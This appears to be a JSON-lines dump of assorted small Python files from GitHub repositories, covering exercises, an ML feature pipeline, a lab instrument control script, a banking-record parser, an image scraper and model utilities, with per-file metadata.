+{"seq_id":"33835669710","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n' description of this module '\n\n__author__ = 'Marvin Huang'\n\nclass Student(object):\n count = 0\n\n def __init__(self, name):\n self.name = name\n Student.count += 1\n # __init__本质是每次添加新的实例时就会调用\n # 所以一切与新加实例相关的都可以写在它的下面\n\n\n# 测试:\nif Student.count != 0:\n print('测试失败!')\nelse:\n bart = Student('Bart')\n if Student.count != 1:\n print('测试失败!')\n else:\n lisa = Student('Bart')\n if Student.count != 2:\n print('测试失败!')\n else:\n print('Students:', Student.count)\n print('测试通过!')\n\n\n","repo_name":"MarvinHuang92/Marvin_Haves_Fun_2309","sub_path":"40_Python/201712_Practice_Python/类属性和实例属性的测试.py","file_name":"类属性和实例属性的测试.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"36575711780","text":"\"\"\"Feature Engineering functions for various activities like outlier treatment, encoding, missing value imputation.\r\n\r\nThe intention here is to have a Pipeline and not model. Our focus is to set it up in such a way that\r\nit can be saved/loaded, tweaked for different model choices and so on.\r\n\r\n\"\"\"\r\nimport os\r\nimport os.path as op\r\nimport panel as pn\r\nfrom category_encoders import OneHotEncoder\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.impute import SimpleImputer\r\nfrom sklearn.pipeline import Pipeline\r\n\r\nimport ta_lib.core.api as dataset\r\nimport ta_lib.eda.api as ta_analysis\r\nfrom scripts import CustomFeatureGeneration\r\nfrom ta_lib.core.api import (\r\n DEFAULT_ARTIFACTS_PATH,\r\n DEFAULT_DATA_BASE_PATH,\r\n get_dataframe,\r\n get_feature_names_from_column_transformer,\r\n get_package_path,\r\n load_dataframe,\r\n load_dataset,\r\n register_processor,\r\n save_pipeline,\r\n)\r\nfrom ta_lib.data_processing.api import Outlier, WoeBinningTransformer\r\n\r\npn.extension(\"bokeh\")\r\n\r\n\r\nos.environ[\"TA_DEBUG\"] = \"False\"\r\nos.environ[\"TA_ALLOW_EXCEPTIONS\"] = \"True\"\r\n\r\n\r\ndef _columns_to_drop(\r\n corr_table, features_to_be_dropped=[], corr_threshold=0.6\r\n):\r\n \"\"\"List features with low correlation.\"\"\"\r\n\r\n corr_table = corr_table.sort_values(\"Variable 1\")\r\n for index, row in corr_table.iterrows():\r\n if row[\"Abs Corr Coef\"] > corr_threshold:\r\n if row[\"Variable 1\"] not in features_to_be_dropped:\r\n features_to_be_dropped.append(row[\"Variable 2\"])\r\n return features_to_be_dropped\r\n\r\n\r\n@register_processor(\"feat-engg\", \"transform-features\")\r\ndef transform_features(context, params):\r\n \"\"\"Perform feature transformation and outlier treatment.\"\"\"\r\n artifacts_folder = DEFAULT_ARTIFACTS_PATH\r\n\r\n # load datasets\r\n train_X = dataset.load_dataset(context, \"train/attrition/features\")\r\n train_y = dataset.load_dataset(context, \"train/attrition/target\")\r\n test_X = dataset.load_dataset(context, \"test/attrition/features\")\r\n test_y = dataset.load_dataset(context, \"test/attrition/target\")\r\n\r\n ref_date_for_churn = params[\"ref_date\"]\r\n agg_methods = params[\"agg_methods\"]\r\n\r\n # NOTE: You can use ``Pipeline`` to compose a collection of transformers\r\n # into a single transformer. In this case, we are composing a\r\n # customerFeatureGeneration class for feature engineering\r\n\r\n feature_generation_ppln = Pipeline(\r\n [\r\n (\r\n \"custom_features_generation\",\r\n CustomFeatureGeneration(\r\n context=context,\r\n ref_date=ref_date_for_churn,\r\n agg_methods=agg_methods,\r\n ),\r\n ),\r\n ]\r\n )\r\n\r\n train_X = feature_generation_ppln.fit_transform(train_X, train_y)\r\n test_X = feature_generation_ppln.transform(test_X)\r\n train_X.set_index(\"customer_code\", inplace=True)\r\n test_X.set_index(\"customer_code\", inplace=True)\r\n train_y.set_index(\"customer_code\", inplace=True)\r\n test_y.set_index(\"customer_code\", inplace=True)\r\n\r\n bin_columns = [\r\n \"overall_avg_pri_sales_amount\",\r\n \"overall_avg_roi_without_udaan_with_sub\",\r\n ]\r\n binning_transformer = ColumnTransformer(\r\n [(\"binn\", WoeBinningTransformer(encode=\"onehot\"), bin_columns)],\r\n remainder=\"passthrough\",\r\n )\r\n\r\n train_X_binned = get_dataframe(\r\n binning_transformer.fit_transform(train_X, train_y[\"target\"]),\r\n get_feature_names_from_column_transformer(binning_transformer),\r\n )\r\n\r\n train_X_binned.index = train_X.index\r\n train_X = train_X_binned.infer_objects()\r\n\r\n outlier_transformer = Outlier(method=\"percentile\")\r\n train_X = outlier_transformer.fit_transform(train_X)\r\n train_y = train_y.loc[train_X.index]\r\n\r\n cat_columns = train_X.select_dtypes(\"object\").columns\r\n num_columns = train_X.select_dtypes(\"number\").columns\r\n\r\n feature_transformation_ppln = ColumnTransformer(\r\n [\r\n (\r\n \"onehot_encoding\",\r\n OneHotEncoder(use_cat_names=True),\r\n cat_columns,\r\n ),\r\n (\r\n \"simple_imputation_constant\",\r\n SimpleImputer(strategy=\"constant\", fill_value=0),\r\n list(set(num_columns) - set([\"days_in_business\"])),\r\n ),\r\n (\r\n \"simple_imputation_median\",\r\n SimpleImputer(strategy=\"median\"),\r\n [\"days_in_business\"],\r\n ),\r\n ]\r\n )\r\n\r\n train_X = get_dataframe(\r\n feature_transformation_ppln.fit_transform(train_X, train_y),\r\n get_feature_names_from_column_transformer(feature_transformation_ppln),\r\n )\r\n\r\n corr_df = ta_analysis.get_correlation_table(train_X[num_columns])\r\n corr_df_drop = corr_df[\r\n corr_df[\"Abs Corr Coef\"] > params[\"correlation_threshold\"]\r\n ]\r\n columns_to_be_dropped = [\"ref_date\"]\r\n columns_to_be_dropped = _columns_to_drop(\r\n corr_df,\r\n features_to_be_dropped=columns_to_be_dropped,\r\n corr_threshold=0.6,\r\n )\r\n curated_columns = list(set(train_X.columns) - set(columns_to_be_dropped))\r\n\r\n save_pipeline(\r\n curated_columns,\r\n op.abspath(op.join(artifacts_folder, \"curated_columns.joblib\")),\r\n )\r\n save_pipeline(\r\n feature_generation_ppln,\r\n op.abspath(\r\n op.join(artifacts_folder, \"feature_generation_ppln.joblib\")\r\n ),\r\n )\r\n save_pipeline(\r\n binning_transformer,\r\n op.abspath(op.join(artifacts_folder, \"binning_transformer.joblib\")),\r\n )\r\n save_pipeline(\r\n outlier_transformer,\r\n op.abspath(op.join(artifacts_folder, \"outlier_transformer.joblib\")),\r\n )\r\n save_pipeline(\r\n feature_transformation_ppln,\r\n op.abspath(op.join(artifacts_folder, \"features_transformer.joblib\")),\r\n )\r\n print(\"Finished Saving Pipelines\")\r\n","repo_name":"abhishekashokkumar/TA_Case_study_Team_4","sub_path":"production/feature_engineering.py","file_name":"feature_engineering.py","file_ext":"py","file_size_in_byte":5911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"17426118422","text":"import pandas as pd\nfrom dateutil import parser\n\nNRs = [[100, 100], [100, 1000], [1000, 100], [1000, 1000], [1000, 10000], [10000, 1000]]\nsigmas = ['0.05', '0.10', '0.15']\n\ndef conv_times(frame):\n return [parser.parse(frame.loc[i]['time']).time().hour * 3600.0 +\n parser.parse(frame.loc[i]['time']).time().minute * 60.0 +\n parser.parse(frame.loc[i]['time']).time().second +\n parser.parse(frame.loc[i]['time']).time().microsecond / 1E6\n for i in range(len(frame))]\n\nif __name__ == '__main__':\n table = list()\n for N, R in NRs:\n df = pd.read_csv(f'data/data/rotation_alias_study/cifar10/{N}_{R}_p_10', delimiter='\\t')\n n = len(df)\n row = [f'$N={N},R={R}$']\n row.append(f'${df[\"maxl2sqr\"].mean():.3}$')\n row.append('$\\SI{' + f'{sum(conv_times(df))/n:.4}' + '}{s}$')\n for sigma in sigmas:\n df = pd.read_csv(f'data/data/rotation_alias_study_cifar10/noise_{sigma}_{N}_{R}_p_10', delimiter='\\t')\n robacc = (df[\"correct\"] & (df[\"radius\"] >= 0.0)).sum()/n\n row.append(f'${int(robacc*100)}\\%$')\n row.append('$\\SI{' + f'{sum(conv_times(df))/n:.3}' + '}{s}$')\n table.append(row)\n\n toprule = '\\\\toprule\\n'\n head = '\\multirow{2}{*}{Sampling Numbers} & Sampling & Computing & ' + ' & '.join(['\\multicolumn{2}{c}{$\\\\sigma=' + s + '$}' for s in sigmas]) + '\\\\\\\\\\n'\n head2 = '& Err. $M$ & Time & ' + ' & '.join(['Rob. Acc. & Certify Time' for _ in sigmas]) + '\\\\\\\\\\n'\n hline = '\\\\hline\\n'\n body = ''.join([(' & '.join(row)) + '\\\\\\\\\\n' for row in table])\n bottomline = '\\\\bottomrule\\n'\n\n table_str = toprule + head + head2 + hline + body + bottomline\n print(table_str)\n\n","repo_name":"AI-secure/semantic-randomized-smoothing","sub_path":"semantic/visualize/sampling_study_stats.py","file_name":"sampling_study_stats.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"90"}
+{"seq_id":"29602371058","text":"### Created on: 10-2023\n# -*- coding: utf-8 -*-\n\"\"\"\nScript should control the pure photonics and the OSA20\nWe choose the range that we want to sweep our seed's (\"signal\") wavelength\nand record the spectrum of the \"idler\" recorded by the OSA over a fixed number of avareged scans\nWe save the data in diff files\n\"\"\"\n\nimport numpy as np\nimport os\nimport time\nimport socket\n\nfrom datetime import datetime\n\nimport OSA20\nfrom itla import ITLAConnect, ITLA\nimport motors_control\n\nBUFFER_SIZE = 1024\n\n###############################################################################\n# Setting the directory\nfilestamp=datetime.now().strftime('%Y%m%d%H%M%S')\nTYPE = \"\\JSI_\" + str(filestamp)\nDATADIR = r\"C:\\\\Users\\\\Experience\\Desktop\\\\Multipartite Entanglement Experiment\\\\Data\\\\JSI\"+TYPE\n\n# Creates a list of frequencies, f_list, we want to sweep depending on the range of wavelength [start,stop] [m] and increments of inc [m].\nc=299792458\nstart=1545*1e-9\nstop=1554*1e-9\ninc=20*1e-12\nno_points=(stop-start)/inc\nw_list=np.arange(start,stop,inc)\nf_list=c/w_list # In Hz\n\n#######################\n# OSA setting params\n## Number of scan is 11\n# :INIT:TMOD 0 -> scan mode manual and :INIT:SMOD 1 -> continuous scan mode (until we stop)\n# \":INIT:SMOD 0;:INIT:TMOD 0\\r\\n\"\nset_single = \":INIT:SMOD 1;:INIT:TMOD 0\\r\\n\"\n# :TRAC1:TYPE 2 -> continuous average\ntrace_params = \":TRAC1:STAT 1;:TRAC1:ACT;:TRAC1:TYPE 2\\r\\n\"\n# :SENS:SENS 6 -> max sensitivity\nsens_params = \":SENS:SENS 6;:SENS:WAV:STAR 1545nm;:SENS:WAV:STOP 1554nm;:SENS:BAND NAT;:SENS:TIME:INT:ENAB 0\\r\\n\"\n\ntry:\n # OSA starts init\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n osa = OSA20.OSA(s, set_single, trace_params, sens_params)\n osa.zero_auto()\n PARAMS = PEAKS = True\n\n ###############################################################################\n # Connect to Pure photonics\n sercon = ITLAConnect(\"COM5\", baudrate=9600)\n print(\"sercon: \", sercon)\n ITLA(sercon, 0x31, 1800, 1) # sets the output power (Reange is [600,1800] [dBm]/100)\n\n for iter, freq in enumerate(f_list):\n ITLA(sercon, 0x35, int(freq * 1e-12), 1) # Setting the frequency (THz register)\n ITLA(sercon, 0x36, int((freq * 1e-12 - int(freq * 1e-12)) * 10000), 1) # Setting the frequency (GHz resgister)\n ITLA(sercon, 0x32, 0x08, 1) # Laser on\n\n time.sleep(25)\n print(f\"iter, freq, w_list[iter]: {iter}, {freq}, {w_list[iter]}\")\n\n osa.aquire_trace()\n time.sleep(130)\n osa.stop_acquire()\n osa.save_data(DATADIR, \"_Mira_on\", f\"signal_{w_list[iter]}\", 0, PARAMS, PEAKS)\n\n ITLA(sercon, 0x32, 0x00, 1) # turns the laser off # Included in the loop because I'm not sure I can change the frequency while the laser is on\n\n sercon.close()\n s.close()\n\nexcept:\n print(\"Exception raised\")\n s.close()\n sercon.close()","repo_name":"Multi-photon-lab-LIP6/Measurement_Scripts","sub_path":"pp_jsi_scan.py","file_name":"pp_jsi_scan.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"8532937915","text":"import random\n\nclass animal:\n def __init__(self, is_alive=True, energy=10):\n self.is_alive = is_alive\n self.energy = energy\n\n def status(self):\n return {'is_alive' : self.is_alive, 'energy' : self.energy}\n\ndef live(method):\n def wrapper(self, *args, **kwargs):\n if self.is_alive:\n return method(self, *args, **kwargs)\n return wrapper\nanimal(False)\n\nclass Lion(animal):\n def __init__(self, is_alive=True, energy=10):\n super().__init__(is_alive,energy)\n super().status()\n self.is_hunting = False\n\n @live\n def hunt(self):\n if self.energy - 3 >= 0:\n self.energy -= 3\n self.is_hunting= True\n else:\n self.is_hunting = False\n\n @live\n def eat(self, animal):\n catch = random.randint(0, 1)\n if all((animal.is_alive, self.is_hunting, catch)):\n self.energy += animal.energy\n animal.energy = 0\n animal.is_alive = False\n\nclass Zebra(animal):\n def __init__(self, is_alive=True, energy=10):\n super().__init__(is_alive,energy)\n super().status()\n @live\n def eat(self):\n self.energy += 1\n\nlion = Lion()\nzebra = Zebra()\n\nprint('lion status :', lion.status())\nprint('zebra status :', zebra.status())\n\nprint('_'*40)\nlion.hunt()\nlion.eat(zebra)\n\nprint('lion status :', lion.status())\nprint('zebra status :', zebra.status())\n","repo_name":"mststar0510/Daily-Python","sub_path":"kadai15.py","file_name":"kadai15.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"73616194858","text":"# coding=utf-8\r\n\"\"\"\r\nDesenvolvedor:\tasantos\r\nE-mail:\t\t\tArannã Sousa Santos\r\nMês:\t\t\t04\r\nAno:\t\t\t2015\r\nEmpresa:\t\tTINS - SOLUCOES CORPORATIVAS\r\n\"\"\"\r\n__author__ = u'asantos'\r\n\r\nfrom ....base import (TagCaracter, TagInteiro, TXT)\r\nfrom .... import TIPO_REGISTRO, NIVEIS, gera_text\r\n\r\nfrom .agencia import Agencia\r\nfrom .conta_corrente import ContaCorrente\r\n\r\nclass DadosDebito(TXT):\r\n\tdef __init__(self, lote=u'0001', num_seq=u'00001', segmento=u'R'):\r\n\t\tsuper(DadosDebito, self).__init__()\r\n\r\n\t\tself._lote = lote\r\n\t\tself._num_seq = num_seq\r\n\t\tself._segmento = segmento\r\n\r\n\t\t# -------------------------------------------------------------------------------------\r\n\t\t# \tcom essa informacao, eu consigo localizar os dados desse REGISTRO\r\n\t\t# -------------------------------------------------------------------------------------\r\n\t\tself._tipo_registro = TIPO_REGISTRO.SEGMENTO\r\n\r\n\t\t# tipo_registro, codigo, nome, de, ate, valor=None, descricao=None, alertas=[], comentario=None, segmento=None, operacao=None\r\n\r\n\t\tself.banco\t\t= TagInteiro(self._tipo_registro,\tu'22.3R', u'banco',\t208, 210, descricao=u'G001', comentario=u'Código do banco na conta do débito',\tsegmento=self._segmento, lote=self._lote, num_seq=num_seq)\r\n\t\tself.agencia\t= Agencia(lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.conta\t\t= ContaCorrente(lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.dv\t\t\t= TagCaracter(self._tipo_registro,\tu'27.3R', u'dv',\t230, 230, descricao=u'*G012', comentario=u'Dígito verificador agencia/conta',\tsegmento=self._segmento, lote=self._lote, num_seq=num_seq)\r\n\r\n\tdef get_txt(self):\r\n\t\ttxt = u''\r\n\t\ttxt += self.banco.txt\r\n\t\ttxt += self.agencia.txt\r\n\t\ttxt += self.conta.txt\r\n\t\ttxt += self.dv.txt\r\n\t\treturn txt\r\n\r\n\tdef set_txt(self, arquivo):\r\n\t\tif self._le_txt(arquivo):\r\n\t\t\tself.banco.txt = arquivo\r\n\t\t\tself.agencia.txt = arquivo\r\n\t\t\tself.conta.txt = arquivo\r\n\t\t\tself.dv.txt = arquivo\r\n\r\n\ttxt = property(get_txt, set_txt)\r\n\r\n\tdef get_alertas(self):\r\n\t\talertas = self._alertas or []\r\n\t\talertas.extend(self.banco.alertas)\r\n\t\talertas.extend(self.agencia.alertas)\r\n\t\talertas.extend(self.conta.alertas)\r\n\t\talertas.extend(self.dv.alertas)\r\n\t\treturn alertas\r\n\r\n\talertas = property(get_alertas)\r\n\r\n\tdef get_text(self):\r\n\t\ttxt = gera_text(NIVEIS.N3, unicode(__name__) + u'\\n')\r\n\t\ttxt += gera_text(NIVEIS.N4, self.banco.text)\r\n\t\ttxt += self.agencia.text\r\n\t\ttxt += self.conta.text\r\n\t\ttxt += gera_text(NIVEIS.N4, self.dv.text)\r\n\t\treturn txt\r\n\r\n\ttext = property(get_text)","repo_name":"arannasousa/pyfebraban","sub_path":"febraban/segmentos/segmentoR/dados_debito/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"}
+{"seq_id":"21712445036","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\n\nheader = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36\"}\n#for i in range(9, 4, -1):\nfor i in range(9, 4, -1):\n url = \"https://search.daum.net/search?w=tot&q=201{}%EB%85%84%EC%98%81%ED%99%94%EC%88%9C%EC%9C%84&DA=MOR&rtmaxcoll=MOR\".format(i)\n #print(url)\n\n res = requests.get(url, headers=header)\n res.raise_for_status()\n soup = BeautifulSoup(res.text, \"lxml\")\n images = soup.find_all(\"img\", attrs={\"class\":\"thumb_img\"})\n name = soup.find(\"a\", attrs={\"class\":\"tit_main\"}).get_text()\n\n for idx, image in enumerate(images):\n img_url = image[\"src\"]\n if img_url.startswith(\"//\"):\n img_url = \"https:\" + img_url\n print(img_url)\n img_res = requests.get(img_url)\n img_res.raise_for_status()\n\n with open(\"201{}_movie_images0{}_{}.jpg\".format(i, idx+1, name), \"wb\") as f:\n f.write(img_res.content)\n if idx >= 4:\n break\n else:\n continue\n","repo_name":"redpeng96/dev","sub_path":"WebScraper/11_daum_movies.py","file_name":"11_daum_movies.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"42075941407","text":"\"\"\"\n Класс локального хранилища\n\"\"\"\n\n\nimport typing\n\n\nclass NOKEY:\n pass\n\n\nKey = typing.NewType(\"Key\", str)\nValue = typing.Any\nNO_KEY = NOKEY()\nNoKeyOrValue = typing.Union[NOKEY, Value]\n\n\nclass Storage():\n def __init__(self):\n self.data: typing.Dict[Key, Value] = {}\n\n async def get(\n self,\n key: Key,\n default: NoKeyOrValue = NO_KEY\n ) -> typing.Union[typing.NoReturn, Value]:\n if await self.contains(key):\n return self.data[key]\n if default is NO_KEY:\n raise KeyError(\"There is no such key\")\n return default\n\n async def put(self, key: Key, value: Value) -> None:\n self.data[key] = value\n return None\n\n async def delete(self, key: Key) -> typing.Optional[typing.NoReturn]:\n if not await self.contains(key):\n raise KeyError(\"Storage doesn't contain this key.\")\n del self.data[key]\n return None\n\n async def contains(self, key: Key) -> bool:\n return key in self.data\n","repo_name":"mrgick/pskgu_bot","sub_path":"pskgu_bot/db/local_storage.py","file_name":"local_storage.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"90"}
+{"seq_id":"23786270870","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom models.networks.sync_batchnorm import SynchronizedBatchNorm2d\nimport torch.nn.utils.spectral_norm as spectral_norm\n\n\n# Returns a function that creates a normalization function\n# that does not condition on semantic map\ndef get_nonspade_norm_layer(opt, norm_type='instance'):\n # helper function to get # output channels of the previous layer\n def get_out_channel(layer):\n if hasattr(layer, 'out_channels'):\n return getattr(layer, 'out_channels')\n return layer.weight.size(0)\n\n # this function will be returned\n def add_norm_layer(layer):\n nonlocal norm_type\n if norm_type.startswith('spectral'):\n layer = spectral_norm(layer)\n subnorm_type = norm_type[len('spectral'):]\n\n if subnorm_type == 'none' or len(subnorm_type) == 0:\n return layer\n\n # remove bias in the previous layer, which is meaningless\n # since it has no effect after normalization\n if getattr(layer, 'bias', None) is not None:\n delattr(layer, 'bias')\n layer.register_parameter('bias', None)\n\n if subnorm_type == 'batch':\n norm_layer = nn.BatchNorm2d(get_out_channel(layer), affine=True)\n elif subnorm_type == 'sync_batch':\n norm_layer = SynchronizedBatchNorm2d(get_out_channel(layer), affine=True)\n elif subnorm_type == 'instance':\n norm_layer = nn.InstanceNorm2d(get_out_channel(layer), affine=False)\n else:\n raise ValueError('normalization layer %s is not recognized' % subnorm_type)\n\n return nn.Sequential(layer, norm_layer)\n\n return add_norm_layer\n\n\nclass SPADE(nn.Module):\n def __init__(self, cin, seg_dim):\n super().__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(seg_dim, 128, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n )\n self.alpha = nn.Conv2d(128, cin,\n kernel_size=3, stride=1, padding=1)\n self.beta = nn.Conv2d(128, cin,\n kernel_size=3, stride=1, padding=1)\n \n @staticmethod\n def PN(x):\n '''\n positional normalization: normalize each positional vector along the channel dimension\n '''\n assert len(x.shape) == 4, 'Only works for 4D(image) tensor'\n x = x - x.mean(dim=1, keepdim=True)\n x_norm = x.norm(dim=1, keepdim=True) + 1e-6\n x = x / x_norm\n return x\n \n def DPN(self, x, s):\n h, w = x.shape[2], x.shape[3]\n s = F.interpolate(s, (h, w), mode='bilinear', align_corners = False)\n s = self.conv(s)\n a = self.alpha(s)\n b = self.beta(s)\n return x * (1 + a) + b\n\n def forward(self, x, s):\n x_out = self.DPN(self.PN(x), s)\n return x_out\n","repo_name":"AnonymScholar/SpMT","sub_path":"models/networks/normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"90"}
+{"seq_id":"71193871336","text":"from settings import get_mongo_client\n\nclient = get_mongo_client()\ndb = client['coinmarketrend']\n\ndef find_word_cloud(coin_code):\n collection = db[WordCloud.WORD_CLOUD_COLLECTION]\n word_clouds = list(collection.find({'coin_code': coin_code}).sort([(\"_id\", -1)]).limit(1))\n return word_clouds\n\nclass WordCloud(object):\n\n WORD_CLOUD_COLLECTION = \"word_cloud\"\n\n def __init__(self, coin_code, words_date, words):\n self.coin_code = coin_code\n self.words_date = words_date\n self.words = words\n\nif __name__ == \"__main__\":\n coin_code = \"ocn\"\n find_word_cloud(coin_code)","repo_name":"gabrieltifui1993/cmt","sub_path":"cmtrest/repository/wordcloud.py","file_name":"wordcloud.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"}
+{"seq_id":"29966276876","text":"from typing import List\n\n\nclass Solution:\n def solution(self, nums: List[int]) -> int:\n if nums[0] < nums[-1]:\n # Если последний элемент больше первого,\n # значит ротации не было.\n # А это значит что первый элемент является минимальным.\n return nums[0]\n\n gap_index = self.search_gap(nums)\n return nums[gap_index]\n\n def search_gap(self, nums: List[int]) -> int:\n left, rigth = 0, len(nums) - 1\n\n while left <= rigth:\n mid = (left + rigth) // 2\n\n if nums[mid] < nums[mid - 1] and mid - 1 >= 0:\n # Если текующий элемент оказался меньше предыдущего,\n # значит мы нашли место разрыва. Этот индекс и будет ответом.\n return mid\n\n if nums[mid] >= nums[0]:\n # Если текущая середина больше или равна первому,\n # значит разрыв находится правее.\n left = mid + 1\n else:\n # Если текущее чило меньше первого,\n # значит оно находится после разрыва. И надо искать левее.\n rigth = mid - 1\n\n return -1\n","repo_name":"DushnoAndTochka/solutions_algorithmic_problems","sub_path":"solutions/find_minimum_in_rotated_sorted_array/solution/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"ru","doc_type":"code","stars":16,"dataset":"github-code","pt":"90"}
+{"seq_id":"5796836849","text":"\"\"\"\nMake a wrapper of tree-sitter node\n\"\"\"\n\nfrom __future__ import annotations\nimport os\nfrom functools import cmp_to_key\nfrom typing import Dict, Optional, Iterable, TYPE_CHECKING\nif TYPE_CHECKING:\n from .basic_node import BasicNode\nfrom tree_sitter import Language, Parser\n\n\nclass Util():\n \"\"\"\n\n Methods:\n sort_nodes(nodes: Iterable, reverse: bool = False): sort the nodes by\n their position in internal_src.\n \"\"\"\n\n def get_parser(self):\n abs_path = os.path.abspath(__file__)\n dire = os.path.dirname(abs_path)\n C_LANGUAGE = Language(f'{dire}/../cinspector-tree-sitter.so', 'c')\n parser = Parser()\n parser.set_language(C_LANGUAGE)\n return parser\n\n def get_tree(self, src: str):\n parser = self.get_parser()\n tree = parser.parse(bytes(src, 'utf8'))\n return tree\n\n def get_cursor(self, src: str):\n parser = self.get_parser()\n tree = parser.parse(bytes(src, 'utf8'))\n return tree.walk()\n\n @staticmethod\n def sort_nodes(nodes: Iterable, reverse: bool = False) -> Iterable:\n \"\"\" Sort the instances of BasicNode by their position in source code\n\n Args:\n nodes (Iterable): nodes waiting for sorting\n reverse (bool=False): use descending instead of ascending\n\n Return:\n sorted Iterable object\n \"\"\"\n\n def cmp_position(node1: BasicNode, node2: BasicNode) -> int:\n if node1.start_point[0] < node2.start_point[0] or \\\n (node1.start_point[0] == node2.start_point[0] and node1.start_point[1] < node2.start_point[1]):\n return -1\n else:\n return 1\n\n sorted_nodes = sorted(nodes,\n key=cmp_to_key(cmp_position),\n reverse=reverse)\n return sorted_nodes\n\n def get_raw(self, s: str, start: tuple, end: tuple):\n lst = s.split('\\n')\n s_row, s_col = start\n e_row, e_col = end\n\n if s_row > e_row or (s_row == e_row and s_col >= e_col):\n return None\n\n # potential bug: corresponding line does not have enough character\n if s_row == e_row:\n return lst[s_row][s_col:e_col]\n elif s_row + 1 == e_row:\n return lst[s_row][s_col:] + '\\n' + lst[e_row][:e_col]\n else:\n return lst[s_row][s_col:] \\\n + '\\n'.join(lst[s_row+1:e_row]) \\\n + lst[e_row][:e_col]\n\n def get_node_raw(self, s: str, node):\n if not node:\n return None\n return self.get_raw(s, node.start_point, node.end_point)\n\n\nclass Query():\n \"\"\" Access the specific nodes in the source code\n\n Query is used to access the nodes with specific properties in the\n source code. For example, find the enumeration with the type identifier\n \"weekdays\". To implement this, we let EnumSpecifierNode inherit from\n Query and implement the __type_identifier_result method, i.e., returns the\n field . The class in interface such as CCode will gather\n all the EnumSpecifierNode and check the query method to find\n the ideal node.\n\n Attributes:\n mapping: a dictionary that maps the query key to the method\n\n Methods:\n query: query the node with the given query\n \"\"\"\n\n def __init__(self):\n pass\n\n def query(self, query: Dict[str, str]) -> bool:\n \"\"\" Query the node with the given query\n\n Args:\n query: the query to be executed\n\n Returns:\n True if the node satisfies the query, otherwise False\n \"\"\"\n mapping = {\n 'type_identifier': self._type_identifier_result,\n 'identifier': self._identifier_result,\n }\n\n for key, value in query.items():\n if not mapping[key]() == value:\n return False\n return True\n\n def _identifier_result(self) -> Optional[str]:\n raise NotImplementedError\n\n def _type_identifier_result(self) -> Optional[str]:\n raise NotImplementedError\n\n\nclass Node():\n \"\"\" The root calss of all nodes\n\n In general, there are three types of nodes. Node is\n the root class of all nodes while both AbstractNode\n and BasicNode are the direct children of Node.\n\n AbstractNode represents the logical node in the source code.\n It does not correspond to a exactly same element in the source code.\n We design AbstractNode mainly for the needs of program analysis.\n\n BasicNode is the base class of a series of nodes that\n correspond to the actually existing elements in the source\n code.\n \"\"\"\n pass\n","repo_name":"PeiweiHu/cinspector","sub_path":"cinspector/nodes/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"90"}
+{"seq_id":"72290715818","text":"from cmdstanpy import CmdStanModel\nfrom tarpan.cmdstanpy.compare_parameters import save_compare_parameters\nfrom tarpan.shared.compare_parameters import CompareParametersType\n\n\ndef run_model():\n model = CmdStanModel(stan_file=\"eight_schools.stan\")\n\n data = {\n \"J\": 8,\n \"y\": [28, 8, -3, 7, -1, 1, 18, 12],\n \"sigma\": [15, 10, 16, 11, 9, 11, 10, 18]\n }\n\n fit1 = model.sample(data=data, chains=4, cores=4, seed=1,\n sampling_iters=1000, warmup_iters=1000)\n\n # Increase the uncertainties\n data[\"sigma\"] = [i * 2 for i in data[\"sigma\"]]\n\n fit2 = model.sample(data=data, chains=4, cores=4, seed=1,\n sampling_iters=1000, warmup_iters=1000)\n\n extra = [{\"mu\": 2.2, \"tau\": 1.3}] # Add extra values (optional)\n\n save_compare_parameters([fit1, fit2],\n labels=[\n 'Original',\n 'Larger uncertainties',\n 'Extra'],\n extra_values=extra,\n type=CompareParametersType.TEXT, # or GITLAB_LATEX\n param_names=['mu', 'tau'])\n\n\nif __name__ == '__main__':\n run_model()\n print('We are done')\n","repo_name":"evgenyneu/tarpan","sub_path":"docs/examples/save_compare_parameters/a01_save_compare_parameters/compare_parameters.py","file_name":"compare_parameters.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"}
